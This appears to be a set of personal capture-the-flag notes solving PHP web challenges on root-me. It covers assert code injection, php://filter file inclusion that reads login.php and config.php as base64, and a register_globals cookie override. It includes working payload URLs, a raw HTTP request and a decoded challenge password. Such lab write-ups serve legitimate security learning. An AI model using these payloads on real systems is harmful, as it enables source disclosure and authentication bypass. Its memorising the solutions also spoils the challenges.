PHP

Challenges

- **Hackthebox Challenge : Web : Grammar** --> PHP type juggling

- **PHP - assert :** https://www.root-me.org/en/Challenges/Web-Server/PHP-assert
  strpos('a','x') ===true or /*Injected code*/; strpos(''+'.php', '..') === false

- **PHP - Filters:** https://www.root-me.org/en/Challenges/Web-Server/PHP-filters

  http://repository.root-me.org/Programmation/PHP/EN%20-%20Using%20and%20understanding%20PHP%20streams%20and%20filters.pdf

  using php filter we display the result in base64 format and then when we get it we decode it
  php://filter/convert.base64-encode/resource=home

  example : http://challenge01.root-me.org/web-serveur/ch45/index.php?page=php://filter/convert.base64-encode/resource=home

  we use this payload from the cheat sheet
  http://challenge01.root-me.org/web-serveur/ch12/?inc=**php://filter**/convert.base64-encode/resource=login.php
  now we get the login page without processing the php in it

  PD9waHAKaW5jbHVkZSgiY29uZmlnLnBocCIpOwoKaWYgKCBpc3NldCgkX1BPU1RbInVzZXJuYW1lIl0pICYmIGlzc2V0KCRfUE9TVFsicGFzc3dvcmQiXSkgKXsKICAgIGlmICgkX1BPU1RbInVzZXJuYW1lIl09PSR1c2VybmFtZSAmJiAkX1BPU1RbInBhc3N3b3JkIl09PSRwYXNzd29yZCl7CiAgICAgIHByaW50KCI8aDI+V2VsY29tZSBiYWNrICE8L2gyPiIpOwogICAgICBwcmludCgiVG8gdmFsaWRhdGUgdGhlIGNoYWxsZW5nZSB1c2UgdGhpcyBwYXNzd29yZDxiciAvPjxiciAvPiIpOwogICAgfSBlbHNlIHsKICAgICAgcHJpbnQoIjxoMz5FcnJvciA6IG5vIHN1Y2ggdXNlci9wYXNzd29yZDwvaDI+PGJyIC8+Iik7CiAgICB9Cn0gZWxzZSB7Cj8+

  decode base64 from burp or online

  ```
  <?php
  include("config.php");

  if ( isset($_POST["username"]) && isset($_POST["password"]) ){
     if ($_POST["username"]==$username && $_POST["password"]==$password){
       print("<h2>Welcome back !</h2>");
       print("To validate the challenge use this password<br/><br/>");
     } else {
       print("<h3>Error : no such user/password</h2><br />");
     }
  } else {
  ?>
  ```

```
<form action="" method="post">
 Login <br/>
 <input type="text" name="username" /><br/><br/>
 Password <br/>
 <input type="password" name="password" /><br/><br/>
 <br/><br/>
 <input type="submit" value="connect" /><br/><br/>
</form>

<?php } ?>
```

do same with config .php
http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/convert.base64-encode/resource=config.php

PD9waHAKCiR1c2VybmFtZT0iYWRtaW4iOwokcGFzc3dvcmQ9IkRBUHQ5RDJta3kwQVBBRiI7Cgo/Pg==

```
<?php
$username="admin";
$password="DAPt9D2mky0APAF";
?>
```

- **PHP - register globals :** https://www.root-me.org/en/Challenges/Web-Server/PHP-register-globals

first we know that there is a backup file
we download
http://challenge01.root-me.org/web-serveur/ch17/index.html.bak

we notice that the code compares hidden_password to password we passed
we can overide this hidden password

```
POST /web-serveur/ch17/ HTTP/1.1
Host: challenge01.root-me.org
Content-Length: 13
Cache-Control: max-age=0
Origin: http://challenge01.root-me.org
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge01.root-me.org/web-serveur/ch17/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ar;q=0.8
Cookie: PHPSESSID=fp82cd7757e3raq4ogqcj3usf0; hidden_password=1234
Connection: close
password=1234
```

now refresh the page to get the original value since your session is now logged in